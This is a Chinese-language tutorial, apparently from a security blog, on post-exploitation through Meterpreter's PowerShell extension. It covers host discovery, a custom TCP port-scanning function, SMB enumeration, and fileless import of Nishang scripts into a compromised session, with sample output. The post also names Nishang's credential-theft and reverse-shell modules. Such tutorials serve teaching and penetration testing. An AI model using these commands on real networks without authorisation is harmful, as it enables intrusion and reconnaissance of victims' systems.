记一次powershell在内网中的分析与利用
2023-3-15 17:7:0 Author: xz.aliyun.com(查看原文) 阅读量:30 收藏

前言

MSF是一个功能强大的渗透测试工具,它可以帮助安全研究人员和渗透测试人员识别漏洞、开发漏洞利用和执行攻击,而Powershell作为内置于Windows操作系统中的功能强大的脚本语言,其本身具有执行命令、访问操作系统API、访问文件系统等强大的功能。此外,Powershell还具有使用内存进行攻击、绕过安全防御系统检测等特性,因此它可以成为攻击者进行内网渗透的理想工具。本文将演示本地PowerShell攻击与Meterpreter有效负载进行集成攻击。

实战演示

首先我们在受害者系统上建立Meterpreter有效负载

通过运行 load powershell 来加载 PowerShell 扩展

加载 PowerShell 扩展后,我们可以访问四个与 PowerShell 相关的命令:

powershell_execute:执行 PowerShell 语句,包括用分号分隔的复杂语句
powershell_import:导入本地 PowerShell 脚本,以通过 Meterpreter 通道在远程系统上执行
powershell_shell:启动交互式 PowerShell 外壳
powershell_session_remove:用于在创建 PowerShell 会话时使用 -s 参数执行/导入/外壳

powershell_execute命令很简单:执行一个或多个 PowerShell 语句并返回输出:

ARP枚举

使用 PowerShell 的 Get-NetNeighbor cmdlet 来发现本地系统已知的 LAN 上的其他主机,具体命令如下:

powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'

ping 扫描

利用 foreach 循环和 PowerShell 管道,使用 Test-Connection 执行 ping 扫描以识别其他主机:

meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }'
192.168.171.1: True
192.168.171.2: False
192.168.171.3: False
192.168.171.4: False
192.168.171.5: False
192.168.171.6: False
192.168.171.7: False
192.168.171.8: False
192.168.171.9: False
192.168.171.10: True
192.168.171.11: True
192.168.171.12: False
192.168.171.13: False
192.168.171.14: False
192.168.171.15: False
192.168.171.16: False
192.168.171.17: False
192.168.171.18: False
192.168.171.19: False
192.168.171.20: False
192.168.171.21: True
...

PowerShell 端口扫描

PowerShell中使用Test-NetConnection -ComputerName -Port的内置TCP端口扫描仪功能

powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'

利用上面的命令能得到正确结果,但是需要的时间有点长,因为Test-NetConnection 在发送 TCP 端口测试之前会发送大量流量来验证主机是否已启动,从而产生大量开销,导致需要大量的时间。所以下面我们直接调用 TcpClient .NET 类,来构成命令如下:

1..1024 | foreach {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"} 2>$null
使用 TcpClient .NET 类比 Test-NetConnection 快,但仍然相当慢,主要原因是当端口被过滤或未响应打开或关闭的消息时会消耗大量时间。通过编写如下脚本来优化速度:

Function Test-CommonTCPPorts {
    Param($address, $timeout=1000)
    $ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768)
    ForEach ($port in $ports) {
        $socket=New-Object System.Net.Sockets.TcpClient
        try {
            $result=$socket.BeginConnect($address, $port, $null, $null)
            if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) {
                throw [System.Exception]::new("Connection Timeout")
            }
            "$port - open"
        } catch {
            "$port - closed"
        }
        finally {
            $socket.Close()
        }
    }
}

Test-CommonTCPPorts中,根据Nmap工具中的文件,使用了前20个最常见的TCP端口列表进行扫描。并没有在 TcpClient .NET 类中使用 Connect() 方法,而是使用 BeginConnect(),它能够在端口没有响应时指定更短的超时值,接着我们可以使用 msf 将此脚本加载到内存中。

Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }

当被加载到PowerShell命名空间中,我们就可以调用它来扫描系统,可以选择指定一个超时时间来加速扫描(此处将超时持续时间减少到 500 毫秒):

meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500'
[+] Command execution completed:
21 - closed
22 - closed
23 - closed
25 - closed
53 - closed
80 - closed
110 - closed
111 - closed
135 - open
139 - open
143 - closed
443 - closed
445 - open
993 - closed
995 - closed
1723 - closed
3306 - closed
3389 - closed
5900 - closed
8080 - closed

枚举 SMB 共享

了解目标系统和侦听服务后,我们可以依靠其他 PowerShell 功能来进一步枚举系统。可以使用 Get-WmiObject 类win32_share枚举 SMB 共享:

利用Nishang

Nishang是一个基于Powershell编写的开源渗透测试和后渗透框架,它包含了一系列的Powershell脚本和模块,可用于执行多种内网渗透和后渗透任务。Nishang包含了许多有用的工具和模块,包括以下几个方面:
1、网络扫描和信息收集:Nishang提供了一些用于扫描和信息收集的Powershell脚本,如Portscan.ps1、Get-ADUsers.ps1和Get-NetStat.ps1等。这些脚本可用于扫描网络端口、收集系统信息、获取用户列表等。
2、漏洞利用和权限提升:Nishang提供了一些漏洞利用和权限提升的Powershell脚本和模块,如Invoke-Mimikatz.ps1、Invoke-MS16-032.ps1和Invoke-PsExec.ps1等。这些工具可以帮助攻击者获取系统权限、突破防御系统等。
3、后渗透功能:Nishang提供了一些后渗透功能的Powershell脚本和模块,如Invoke-PowerShellTcp.ps1、Invoke-PowerShellUdp.ps1和Invoke-Encode.ps1等。这些脚本可以帮助攻击者在目标系统上建立反向Shell、执行命令、上传和下载文件等。
Meterpreter中最强大的PowerShell功能是能够使用powershell_import将攻击者系统的本地脚本加载到Meterpreter PowerShell环境中。这使我们能够通过 Meterpreter 将 PowerShell 脚本与目标系统集成,而无需将脚本作为文件上传到受感染的系统上。

直接使用 git 将 Nishang 下载到目录中。我们就可以直接从 Metasploit 控制台执行此操作:
Nishang脚本脚本地址:https://github.com/samratashok/nishang.git

meterpreter > background
[*] Backgrounding session 8...
msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git
[*] exec: git clone https://github.com/samratashok/nishang.git

Cloning into 'nishang'...
remote: Enumerating objects: 1699, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691
Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done.
Resolving deltas: 100% (1061/1061), done.
msf6 exploit(windows/smb/psexec) > sessions -i 8
[*] Starting interaction with 8...

meterpreter >

使用攻击者系统上的Nishang脚本,我们可以通过 Meterpreter 导入并执行:

meterpreter > powershell_import nishang/Gather/Get-Information.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute Get-Information
[+] Command execution completed:
ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist.
ERROR:
ERROR: At line:27 char:34
ERROR: +         else{$key = get-childitem <<<<  $regkey}
...
 Account Policy:
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          Unlimited
Minimum password length:                              0
Length of password history maintained:                None
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        WORKSTATION
The command completed successfully.

总结

Powershell可以用于编写各种恶意软件,例如免杀木马、后门、勒索软件等。攻击者可以编写Powershell脚本来实现各种功能,例如通过网络传播、远程执行恶意代码、窃取敏感数据等。此外,攻击者还可以使用Powershell与其他工具和技术结合使用,例如Metasploit、Powercat、Netcat等。在我们去分析学习powershell语言时,我们可以通过他人编写的脚本进行改写,来快速达到我们的使用需求。


文章来源: https://xz.aliyun.com/t/12289
如有侵权请联系:admin#unsafe.sh